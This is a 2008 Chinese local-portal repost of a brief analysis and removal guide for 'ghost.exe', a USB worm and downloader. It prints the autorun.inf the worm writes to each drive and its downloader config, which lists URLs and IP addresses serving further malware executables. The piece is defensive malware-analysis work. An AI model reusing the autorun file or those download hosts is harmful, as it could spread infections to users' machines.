ghost.exe U盘病毒的查杀--巴东信息港

<%if flash_ad<>"" then Response.Write flash_ad%>

			网上商城	分类信息	房产信息	企业黄页	人才招聘	博客日志	社区论坛

首页新闻资讯时尚生活电脑网络旅游频道动漫天地笑话频道免费电影电子相册企业建站免费开店留言

社区　企业黄页网上商城分类广告二手市场房产交易人才市场真情交友巴东知道二级域名网站帮助繁體

<%set rs = conn.execute("select top 10 bt,bt_b,bt_color,html from news where lbid=29 and zt=1 order by id desc") if not rs.eof then do while not rs.eof bt=rs("bt") If rs("bt_b") <> 0 Then bt = "" & bt & "" If rs("bt_color") <> "" Then bt = "" & bt & "" Response.Write(" "&bt&" ") rs.movenext loop end if rs.close:set rs=nothing%>

您所在的位置：首页 > 电脑网络 > 工具软件

ghost.exe U盘病毒的查杀

www.cn0718.com　　发布：2008-7-15 0:58:18　　来自：河源资讯网　　浏览：次

某位求助..说电脑又中毒了..
按照习惯先叫他扫个SREng 的 log 看看..意外的发现了个 ghost.exe 和四五个小病毒..
就跟她拿了 ghost.exe 看看.. 又是一个 U 盘病毒还会下载病毒..

现在写一点点的小分析 ..目前瑞星不报..在线扫了扫发现就几家报了..

运行ghost.exe 后..
生成
ghost.exe.bat(删除自身)
C:\WINDOWS\system\conime.exe
C:\Program Files\WinRAR\WinRAR.exe.tmp

每个盘符下释放(c d e f g h j k )
autorun.inf
ghost.exe

autorun.inf 文件内容
[AutoRun]
OPEN=ghost.exe
shellexecute=ghost.exe
shell\打开(&O)\command=ghost.exe

连入 http://www.dj916.com/ie.txt 下载..
ie.txt 内容
[main]
服务文件更新=5
服务文件地址=http://www.86dy.net/c123.exe

下载者是否更新=4
下载个数=7

文件1=http://222.220.16.185/data6/jwm.exe
更新1=6
文件2=http://222.220.16.185/data6/wol.exe
更新2=6
文件3=http://222.220.16.185/data6/wo3.exe
更新3=6
文件4=http://222.220.16.185/data6/mir.exe
更新4=6
文件5=http://222.220.16.185/data6/mhh.exe
更新5=6
文件6=http://222.220.16.181/ienet.exe
更新6=6
文件7=http://222.220.16.185/data6/zt3.exe
更新7=6

这些网址都是下载下来的病毒..

没写入注册表..

但是我用反汇编看了看..
这玩意应该修改了
讯雷 QQ WINRAR 的注册表 ..

处理方法(不包括下载下来的病毒)
右键=>打开进入每个盘符=>删除
autorun.inf
ghost.exe

删除文件
C:\WINDOWS\system\conime.exe

建议重装 qq 讯雷 WINRAR

(编辑：)

【留言评论】【在线投稿】【打印网页】【关闭窗口】【↑顶部】

+ 相关信息咨讯

·Gmail的新玩法让你获得10G超大空间

·如何手动清除Trojan.Agent.yxl

·一次性给全部MP3自动改名

·将千千静听资源管理器集成进IE浏览器

·如何使用Outlook Express 拒收邮件

·Windows 系统下专用木马间谍防范

版权与免责声明：
1.凡本网注明来源为“巴东信息港”的所有作品，包括文字与图片，未经本网授权不得转载。违反上述声明者，本网将依法追究法律责任。
2. 凡注明"来源：xxx（非本站）"的作品，均转载自其它媒体，本网转载的目的在于传播更多信息，此类稿件并不代表本网观点，本网不承担此类稿件侵权行为的直接责任及连带责任。
3. 如因作品内容、版权等需要同本网联系的，请在作品在本网发表之日起30日内联，否则视为放弃相关权利

巴东信息港，您身边的本地生活网，您贴心的信息资讯平台！本站致力于打造巴东最大综合门户网站！

关于我们   ┋   广告投放   ┋   免责申明   ┋   网上投稿   ┋   留言本站

＋ Copyright © 2006-2008 ™ cn0718.com All Rights Reserved.
＋本站名称：巴东信息港    | 本站域名：www.cn0718.com
＋办公地址：湖北省巴东县  | 电子信箱：skylck@163.com
＋客服热线：0718-4335260 | 客服 QQ：3643013
＋备案编号：闽ICP备05008456号 | 流量统计：